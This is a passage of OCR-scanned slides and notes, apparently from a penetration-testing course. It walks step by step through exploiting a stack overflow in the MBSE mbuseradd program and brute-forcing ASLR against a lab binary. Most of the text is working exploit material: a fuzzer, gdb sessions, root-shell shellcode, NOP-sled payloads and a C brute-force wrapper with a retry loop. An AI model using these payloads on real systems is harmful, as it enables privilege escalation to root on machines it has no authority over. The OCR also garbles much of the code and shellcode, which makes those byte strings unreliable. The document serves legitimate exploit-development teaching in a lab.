prinmt “\nNo luck... Sorry 1t didn't work out...\n"
exitl)

program = "/opt/mbse/bin/mbuseradd ARG] ARG2 ARG3 ARG4\n"

Sﬂ"fﬂg — H’A L

var = "Segmentation fault”

Jor i in range(4000,5000,4):
os.putenv("MBSE ROOT" string*i)
a,b=o0s.popend(program, 'r')

strl = b.ready)

if var in strl:

print "Success! Segmentation Fault hit at",i, string,"'s\n"

exil()
else:
time.sleep(0)

print "\nNo luck... Sorry it didn't work out...\n"
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Fuzzing Results

e Run the fuzzer mbse.py
e Seg-Faults at 4,056 A's!

[mbse@deadlist-desktop: /home/deadlist/mbse$ python mbse.py
useradd: invalid home directory 'ARG4/ARG2'
useradd: invalid home directory 'ARG4/ARG2'

e “

useradd: invalid home directory 'ARG4/ARG2'
useradd: invalid home directory 'ARG4/ARG2'
Success! Segmentation Fault hit at 4056 A 's

mbse@deadlist-desktop: /home/deadlist/mbse$
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Fuzzing Results

When running the fuzzer, we successfully get a segmentation fault at 4,056 bytes. This does not mean

the return pointer was overwritten at that number of A’s, but the stack is certainly corrupt. We now
need to go in with GDB and examine further.
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Using GDB

e Promote yourself to Root and go to
Jopt/mbse/bin

e Set your environment variable for
MBSE_ROOT

e Open mbuseradd with GDB

deadlist@deadlist-desktop:~/mbse$ sudo -i

[sudo] password for deadlist:

root@ideadlist-desktop:~# cd fopt/mbse/bin

root@deadlist-desktop: fopt/mbse/bin# export MBSE ROOT="python -c ‘'print “A" +4052'°
root@deadlist-desktop: fopt/mbse/bin# gdb . /mbuseradd
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Using GDB

We will not be able to debug the program as the user “mbsc”, so let us promote ourselves to Root as
scen on the slide. Remember, the attack process almost always involves the attacker installing a copy
of the program of intcrest for testing on a system in which they control. This allows them to have full
rights to the program before attacking it in the wild. Once you have promoted yourself to Root, make
surc you arc in the /opt/mbse/bin directory. At this point, set the environment variable for
MBSE_ROOT to the number of A’s that caused a segmentation fault. Finally, open mbuseradd with
gdb.

sudo —i

cd /opt/mbse/bin

export MBSE ROOT="python —c ‘print “A” * 4052 "
gdb ./mbuseradd

235



Running the Program

(gdb) run 1 2 3 4
® I'UN 1 2 3 4 (no debugging symbols found)
® ? Program exited with code 02.
No crash?: (gdb) I

e Changing to 4082 A’s crashes, but no EIP

{gdb) quit

root@deadlist-desktop: /opt/mbse/bin# export MBSE ROOT='pythen -¢ 'print "A" +4082'°
root@deadlist-desktop: fopt/mbse/bin# gdb ./mbuseradd

(gdb) run 1 2 3 4

Starting program: Jopt/mbse/bin/mbuseradd 1 2 3 4

(no debugging symbols found)

Program received signal SIGSEGY, Segmentation fault.

[Switching to Thread -1209874240 (LwP 22110)]

0x00322073 in ?7 ()

e, Lxplo ‘I'\‘I,'..'I'i[i'l"._'_'. and Iithical %l.u.']-ﬁll'!_'_'_

Running the Program

When running the program in the debugger, with the MBSE ROOT environment variable set at 4052
A’s, the program docs not scem to experience a segmentation fault. This is fine, it just means that
when running the program with our Python fuzzer, a segmentation fault is occurring at a lower
number. We should still be really close. Increasing MBSE ROOT to 4082 A’s causes a segmentation
fault, but we are not getting control of EIP. Let us keep trying ...
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Getting Control of EIP

e 4096 A's = 0x2f414141

export MBSE ROOT= python -¢ 'print "A' 14096

gdb ./mbuseradd

(gdb) run 1 2 3 4

Starting program: /fopt/mbse/bin/mbuseradd 1 2 3 4

* e

Program received signal SIGSEGY, Segmentation fault.
Switching to Thread -1209874240 (LWP 22192)]
021414141 lin ?? ()

e 4097 A's = 0x41414141

{gdb) run 12 3 4

btarting program: /opt/mbse/bin/mbuseradd 1 2 3 4
Program received signal SIGSEGY, Segmentation fault,
[Switching to Thread -1209874240 (LWP 22247)]

PXATATATAT |in 72 ()
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Getting Control of EIP

When changing the size of MBSE ROOT to 4096 A’s, we overwritc the return pointer by three bytes.
Changing it to 4097 A’s gets a full 4-byte overwritc of the return pointer and control of EIP. The rest
of the work should be familiar. Feel free to continue the exercise on your own at this point. If you
would like to proceed with the walk-through, move to the next page.
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Building Our Script

e Shellcode in your /home/deadlist/mbse
folder

root@deadlist-desktop: fopt/mbse/bin# cat /home/deadlist/mbse/mbseshellcode, txt
Ax31\xc0\x31\xdb\x29\xc 9\ x89\xca\xbO\x46 \xcd\x80\x29\xcO\x52\x68\x2 T\ x2 F\ x 73\ x68\x6
B\ x2 f\x62\x69\xbe\x89\xe3\x52\x54\x89\xe 1\ xbO\x0b\xcd\x80

root@deadlist-desktop: fopt/mbse/bin# export MBSE_ROOT= python -¢ ‘print "A" *4893 +
"BBBB" + "\x98"*500 + "\x31\xcO\x31\xdb\x29\xc9\xB9\xca\xbB\x46\xcd\xBO\X29\xcO\x52\
x68\x2 F\x2F\x73\x68\x68\x2f\x62\x69\x6e\xBI\xe3\x52\x54\x89\xe1\xbO\x0b\xcd\x80" '

e Put in B's to serve as the return pointer place
holder
e Follow with 500 NOPs and your shellcode

Building Our Script
There is shellcode to spawn a root shell in your /home/deadlist/mbse folder, called mbseshellcode. txt.

Export your environment variable to have 4093 A’s, taking us to the return pointer, followed by four
B’s to represent the return pointer, followed by 500 NOPs, and finally, your shellcode.

cat /home/deadlist/mbse/mbseshellcode.ixt

export MBSE ROOT="python -c 'print "A" *4093 + "BBBB" + “x90" * 500 +
“W3 1 ee0w3 I'xdbx29xc9x89xcalxb0x46 xedx80x29xc 05 268 \x 2/ 2fix 7368 68 x 2f1x 6 2 e 691
x6ex89we3 x5 254 x89we l bO0blxed'x80""
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Locating Our Return

e We get a seg-fault with 0x42424242

(gdb) run 1 2 3 4

Starting program: /opt/mbse/bin/mbuseradd 1 2 3 4
{no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1209874240 (LWP 22446)]

0x42424242 in 77 ()

e X/20x $esp +6000 hits our shellcode

(gdb) x/20x $esp + 6600 A ;
oxbffffeed: 0x90909090 0x90909090 0x98909090
oxbffffefo: &_ R ' P”' SR .SQEHEE'E& 6x96909090
oxbff££00: New Return Pointer ) 0x90909090 0x90909090
oxbfffff10: 0x90909090 8x90909090 #x90909090 0x909090960
[exbffffrze: 0x90909090 8x96909090 8x90909690 0xc0319090

Locating Our Return

When exccuting our script, we get the expected segmentation fault when EIP tries to execute code at
0x4242424242. We then run the command x/20x $csp + 6000 to get to the bottom of our NOP sled.
The start of the shellcode is on the bottom right, and a good landing spot for our return pointer is
highlighted on the left at Oxbfffff20. Let us use this as our return and try again.
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Finalizing Our Script

e Running our exploit with our return pointer
guess:

root@deadlist-desktop: Jopl/mbse/bin# export MBSE_RODI= python -c¢ 'print 'A' 14093 +
2o\ xfAxffixbf" + "\x90" +*500 + "\x31\xcO\x31\xdb\x29\xc 9\ xBI\xca\xb0\ x40\ xcd\x80\
2N M S\ 6E 2 P2 P 73N 68\ X68\ x 2 PR b2\ 269\ xBe \ x B9\ xe I\ x 52\ x 54\ x B0\ xe 1\ xbO\ x OhY
xcd\xBe" '’

root@deadlist-desktop: fopt/mbsesbing . /wbuseradd 1 2 3 4

e Success!
e We need to now try it as user mbse
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Finalizing Our Script

Let us now try our exploit while still logged in as Root.

export MBSE_ROOT="python -c 'print "A" *4093 + "x20\xf/oxffuchf™ + "x90"*500 +
"3 1xc0\31 xdb\x29\xc9\x89\xcalb0x46 xcd\x801x 29 xc0x 5268 x 2f\x2fx 7368 \x 68 x 21 1x 62 1x 69!
x6elx89\ve3x521x54x89\xe  teb0\x0bred\x80 "

Smbuseradd 1 2 3 4

Our exploit works, as you can see on the slide! We must now try the exploit as a non-privileged user.
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Elevating Privileges

e Log out of Root
e SU mbse

e Export our environment variable and run the
program

deadlist@deadlist-desktop:~/mbse$ su mbse

Password:

mbse@deadlist-desktop: /home/deadlist/mbse$ ¢d Jopt/mbse/bin
mbsefideadlist-desktop:~/bing export MBSE ROOT="python -c¢ 'print “A" +4093 + "\x20\xf
P ffxbf” + "\x90" +500 + N3\ c A3\ xdb\x29\ xc 9\ 2B\ xc a\xbO\ x 46\ xcd\ xBO\ X 29\ xc 0N
XEx68\x2 FAX2F\x73\X68\x68\x2 F \x62\x69\x6e\xB9\xe3\x52\x54\x 89\ xe 1\ xb0\x0b\xc d\x80"

[mbse@deadlist-desktop:~/bing . /mbuseradd 1 2 3 4
# whoami
root

Success!!!
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Elevating Privileges

Finally, we need to log out of Root and “su” to the user “mbse.” Enter in the password and make sure
you’re in the /opt/mbse/bin directory. Once there, export the MBSE_ROOT environment variable
containing our exploit with the proper return address. Run the program and you should have a Root
shell!

If this part of the exercisc failed, make sure you followed each step correctly. There is also a chance
that the stack is slightly different than when logged in as Root. One way to check is to increase or
decreasc the size of your NOP sled, compensating for the return address. Jumping toward the end of
the sled tends to have better results.

This is the end of the excrcise.
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Day 4 Bootcamp

e Exercise Two:
— Use your Kubuntu Pangolin VM
— Brute-forcing ASLR
— 2720 randomization on the stack

—aslr_brute program is your target
e Vulnerable to simple stack overflow
e You will enable ASLR shortly
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Day 4 Bootcamp
Exercise Two

In this section we will work through an exercise to brute force ASLR. The stack on your Kubuntu
Pangolin VM is randomized with 20 bits of entropy when ASLR is cnabled. We have a 220 or 1 in
1,048,576 chancc of guessing the exact address of a variable in memory. Brute-forcing is a noisy method
to defeat ASLR, and will likely result in an enormous amount of logs and alerts. However, brute-forcing
is almost always guaranteed to work, depending on the number of tries you arc able to make.

The program aslr_brute is in your /home/deadlist directory. You will need to turn on ASLR again on your
Kubuntu Precise Pangolin VM. You may start trying to work on hacking the program on your own, or
move forward to continue with the walk-through.
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The “aslr_brute” Program

e Run the program
e Asks for your name

deadlist@deadlist:~% ./aslr brute

Usage: Tell me vour name...
deadlist@deadlist:~$ ./aslr _brute Stephen
Hi there Stephen

deadlist@deadlist:~$ ./aslr_brute “python -¢ 'print "A" * 1000'°
Hi there AAAAAAAAAA

Segmentation fault (core dumped)

e 1,000 A’s causes a seg-fault

sting, Lixploit Writng, and Lithical Hacking

The “aslr_brute” Program

The “aslr_brute” program is a simple PoC program that asks you for your name, and prints it out to the
screen. By simply giving it a short name, no issues occur and the program behaves how it is intended.
When using python to input 1,000 A’s, the program crashes with a segmentation fault as seen on the
slide. It may serve us best to first attack the program with ASLR off so we may confirm that we can
successfully exploit the vulnerability, but this is up to you.
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GDB: aslr_brute

e disas main and then copyFunction()

0x080484e2 <+50>: call 0x8048474 <copyFunction>
0x080484e7 <+55>: mov $0x0 , %seax

(gdb) disas copyFunction
Dump of assembler code for function copyFunction:

0x08048474 <+0>: push  %ebp
Ox08048475 <+1>: mov |

Ox08048477 <+3>: sub |6,08 bytes ||
0x0804847d <+9>: mov Gx@:p),%eax
0x08048480 <+12>: mov %ean, Ox4 (%esp)

0x08048484 <+16>: lea -0x260 (%ebp) , seax
0x0804848a <+22>: mov %eax, (%esp)
0x0804848d <+25>: call 0x8048370 <strcpy@plt>

% 1 - 1 e o P " Flas~al § .
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GDB: aslr_brute

Open up the program with gdb and cxccute the following commands:

gdb aslr _brute
disas main

disas copyFunction

When disassembling copyFunction(), you should notice the lea instruction for -0x260. This translates
over to 608 bytes, the size of the buffer. Shortly after that, you should notice the call to strepy(). We
now have the size of the buffer to overflow. At 608 bytes should be the start of the Saved Frame
Pointer (SFP), and at 612 bytcs should be the start of the Return Pointer (RP).
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Controlling EIP

e Verifying our assumptions ...

(gdb) run "python -c ‘print "A* *612 + "\x@d\xfO\xad\xba""'"

Starting program: /home/deadlist/aslr brute python -¢ 'print "A" *612 +
"\x0d\xfO\xad\xba"""

Hi there AAAAAAAAAA

Program received signal SIGSEGY, Segmentation fault.
Oxbaadfedd in 77 ()

e We control EIP at 612 bytes
e Let us build our exploit
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Controlling EIP

When inside of GDB, we can enter in:

run ‘python —c ‘print “A" *612 + “x0d\xf0'\xdd\xba"""

You should sec Oxbaddf00d as the address causing the segmentation fault. Now that we have verificd
the size of the buffer and our ability to control EIP, Ict us build our exploit.
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Finding a Return Address

e Use the same shellcode from the last
exercise

(gdb) run “python -c 'print "A" *612 + "BBBB" + "\x31\xc@\x31\xdb\x29\xc9\
%89\ xca\xbO\x46\xcd\x80\x29\ xcO\x52\x68\x2 F\x2f\x73\x68\x68\x2f\x62\x69\x6
le\x89\xe3\x52\x54\x89\xel\xbO\x0b\xcd\x80" " "

Program received signal SIGSEGV, Segmentation fault.

0x42424242 in 77 ()

e Locate a return address

(gdb) x/8x %$esp -16

Oxbfffefbo: 0x41414141 0x41414141 0x41414141 0x42424242
[oxbfifefco: Oxdb31c031 0xca89c929 0x80cd46b0 0x6852c029
:
i Shellcode
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Finding a Return Address

Let us quickly find a rcturn address to usc for our exploit. Use the shellcode located in the
shellcode2.txt file. This should simply give us a shell when we are successful. The shellcode is located
at /home/deadlist/shellcode2.txt. Build up your exploit inside of GDB with the following:

run “python -c 'print "A" *612 + "BBBB" +
"3 1 xc0w3 1 xdbx29xc9x89xcaleb0\x46\xed\x 80290k 52 x68\x 2/ 2fx 73 x 68 w68 2/ 6 2 1x 691
x6ex89\xe3 x5 254 x89 e I b0x0blxedw80""

This should result with a segmentation fault at the address 0x42424242. This address is our
placcholder address until we locate our desired return. Enter in the command x/8x $esp -16 so we can
quickly locate the start of our shellcode. Address 0xbfffefcO looks like a good spot to return. Let us
drop outside of the decbugger and give it a shot.
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Trying Our Exploit

» Modify the return address and run the
exploit

deadlist@deadlist:~$ ./aslr brute python -¢ 'print "A" *612 + "\xcO\xef\x
TIXDT" + "\G3ET\xcO\x31\xdb\x29\ xc9\ x89\ xca\ xbO\x46\xcd\x80\x29\ xcO\ x52\ xh
BAX2TAX2T\X73\x68\x68\x2T\x62\x69\x6e\x89\ xe3\x52\x54\x89\ xe 1\ xb0\x0b\ xcd\
xBerlr‘

Hi there AAAAAAAAAA

f
e Success! Now we need to exploit it with

ASLR running
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Trying Our Exploit

Now that you have a valid return address towards the end of the NOP sled, go ahead and sct up your
script from outside the debugger. As you can sce on the slide, we have successfully obtained a Root
shell. This is fine, but not the purpose of our exercise. We must now attempt to cxploit the program

while ASLR is running.
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Running with ASLR Enabled

e Enable ASLR as Root
e Run the same exploit ... Fail!

deadlist@deadlist:~% sudo -1i

root@deadlist:~# echo 2 > /proc/sys/kernel/randomize va space
root@deadlist:~# exit

logout

deadlist@deadlist:~$ ./aslr_brute “python -c ‘'print "A" *612 + "\xcB\xef\x
FAAXbT" + "\x31\xcO\x31\xdb\x29\xcR\x89\xca\xbO\x46\xcd\x80\x29\xcO\x52\x6
B\x2 T\ 2T\ x 73\ x68\x68\x2F\x62\ x69\ x6e\x89\ xe3\x52\x54\xBI\ xe 1\ xbO\xtb\ xcd\
x8e" "’

Hi there AAAAAAAAAA

Segmentation fault
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Running with ASLR Enabled

Promote yourself to Root and cnable ASLR by entering echo 2 >

/proc/sys/kernel/randomize va_space. Now try to run the exploit that just got you a Root shell. Unless
you’re extremely lucky, you should reccive a segmentation fault. If you feel comfortable attempting to
optimize your chances with brute forcing ASLR, feel free to work on your own at this point.
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Creating a Brute Force ASLR
Exploit Script

e QOur script, broken into pieces:

de <stdlib h>
ide <stdio, he - = .
lude <string.h> € Required Libraries |
#include =<unistd.h> .
: ‘See Notes |
unsigned long esp(void) /
{
asa{"movl %esp, Seax"); “This 1aline ass prints ESF?
asni{"shr $4, %eax"); ./ gerting rid of &l a5 1t's static?
}
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Creating a Brute Force ASLR Exploit Script

The script you will now build is going to provide you with good information about what’s happening
inside the program and will improve your chances of successfully brute forcing the program. Let us go
through each scction of the script:

Hinclude <stdlib.h>
#include <stdio.h>

#include <string. h>
#include <unistd h>

Above are all of the necessary libraries needed for our program.

unsigned long esp(void)
{

asm("movl %oesp, Yoeax"); /*This inline asm prints ESP*/
asm("shr 34, %eax"); /* getting rid of al as it's static*/

The function above does two things. First, it moves the stack pointer address into EAX. It then uses
the shift right “shr” instruction to move the low order nibble outside of the register. You will scc why
this is nccessary shortly. The function then returns the address held in EAX to the caller.
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Our Script (1)

e Our main() function and shelicode to spawn
a Root shell

int main(void) {

unsigned char scode[]= "\x31\xcO\x31\xdb\x29

xca\xb0O\x46\xcd\x80"
"\ x29\xcO\x52\x68\x 2f 68\ x68\x 2\ 162\ x 69"
“\wbe\xB9\xe\ xS\ x54\x89\xel \xbO\x0b\xcd\x80" ;.

A\
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Our Script (2)

int main(void) {

unsigned char scode[]= "3 1'\xc0w3 1 xdb\x29\xc9x89\xcalxb0\x46\xed\x80"
"x29 052682/ 2f\x 7368 x 68 2/ x621x69"
"x6ex89xe3x52x54w89\xel xb0\x0bxcdx80";
Tsetreuid() and execve() /bin/sh*/

This picce of the script is pretty obvious. It is the start of our main() function, followed by our
shellcode that spawns a Root shell if executed with the proper authority.
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Our Script (2)

e Populate your buffer with appropriate attack
data

char buffer[1651]; r
printf(” ASLE ESP at Oxsxe ", espl{}};
memset{buffer, . BY2Yy Fi 4
strcat(buffer+sliz, " ! Y
memset(buffer+blc, A B W0 by
memcpy (buffer+1616, scode, sizeof(scode)):
execl(”. /aslr brute”, "aslr brute”, buffer, NULL};
exit (€):

}

e Use a function to pass your buffer

Advanced Penetration Testing, Lixploit Writing, and Lithical | tacking

Our Script (3)
char buffer[1651]; /*exact size of buffer when populated with below*/

The codc above is the exact size our buffer needs to be, including the padding, return pointer, NOP sled, and
shellcode.

printf("\n\nASLR ESP at 0x%x8\n", esp()):

/*printf{"RetPt Guess Oxbfffefc0\n\n"); /* RP Guess. These two lines are commented out as this version of
GCC doesn’'t support it. */

/*printf{"Distance: %d \n",Oxbfffefc -esp()); /*Print ESP ofjset from guess*/

The code above prints out data for informational purposcs. It is unnecessary code that displays the location of
ESP in the wrapper program, our return pointer guess, and the distance between the two. You will be able to
scc how close your return pointer guess is to the actual location of your shellcode.

memset(buffer, Ox41, 612),; /*Fill buffer with A's to RP*/

streat(buffer+612, "\xcOxefxff\xbf™); /*Our RP guess™®/

memsel(buffer+616, 0x90, 1000); /*1000 byte NOP sled to help with brute force™/
memepy(buffer+ 1616, scode, sizeof(scode)), /*Append shellcode*®/

execl(" /aslr_brute”, "asly_brute", buffer, NULL), /*Pass in our data to vuln prog*/
exit (0);

/

The above data simply fills up the buffer with the appropriate data mentioned at the beginning of this page. It
also uses the execl() function to pass in our buffer to the target program. The strcat() function is used to copy
our return pointer guess into the buffer. This address can be any valid address within the stack range
0xbf000008 to OxbfITfff8. Obviously, it is not possible for the buffer to fit within the very bottom of the stack.
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Our FOR Loop

e We need to create a FOR loop as it may take
several thousand tries

deadlist@deadlist-desktop:~% for 1 in {1..25800}; do echo Number of tries:
$i && ./pw_aslr && break; echo EXPLOIT FAILED; sleep .001; clear; done;}}

e Our range has a maximum of 25,000 tries

e Using sleep() simply allows us to see what is
happening
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Our FOR Loop

Below is a FOR loop that allows us to do several things:

Jor iin {1..25000}; do echo Number of tries: $i && ./pw_aslr && break; echo EXPLOIT FAILED;
sleep .001; clear; done;

First, we create a range of 1 —25,000. This sets the maximum number of trics that we want to make
against the program. Next we are using ccho to display the number of trics that have been made so far.
When successful, we will be able to secc how many tries it took. If successful, a Root shell will spawn.
When we cxit from the Root shell, the loop will continue unless we use the break command. “Exploit
Failed” will continue to show up until we are successful, or until the loop is exhausted. We then use
the sleep() function with a very small value of .001. You can change this to any time that you prefer.
Without using sleep, the display becomes difficult to read. This picce is completely optional. We then
use the clear command to keep our display information at the top of the screen for readability. Finally,
we usc the done command to terminate the loop. Let us run this command on the next slide.
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Executing Our Loop

e 1,468 tries successfully brute forced ASLR!
e Distance shows as 70

e This author experienced a success rate an
average of 1 in 5,561 tries after 20 runs of
tf1€3 I()()F) Number of tries: 1468

ASLR ESP at 0xbf948090
Hi there AAAAAAAAAA

# 1l
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Executing Our Loop

In the run used on this slide, it took 3,733 trics to successfully guess the right address. Since the
randomization will eventually land us in our NOP sled, the chance of success is almost always 100%,
so long as we have enough time to let the script run. With some ASLR implementations, the number of
bit used in the entropy pool is 27, compared to the 20 we just targeted. We will still be successful, as
long as we are able to keep trying, and as long as we have the appropriate amount of time.

This author ran the loop twenty times and experienced 100% success for each run. The number of trics
it took for each run are listed below, with an average of 1 in 5,561:

7227, 632, 1449, 3487, 1867, 6256, 3067, 11746, 3184, 12279, 5780, 963, 7884, 1938, 3695, 1797,
1757, 12794, 14402, 9014

253



Bootcamp End

e Hacking the public MBSE program on Linux
e Defeating ASLR through brute force

Bootcamp End

In this bootcamp, you walked through successfully exploiting thc MBSE program on your Linux
Kubuntu Gutsy VM, as well as brute forced ASLR.
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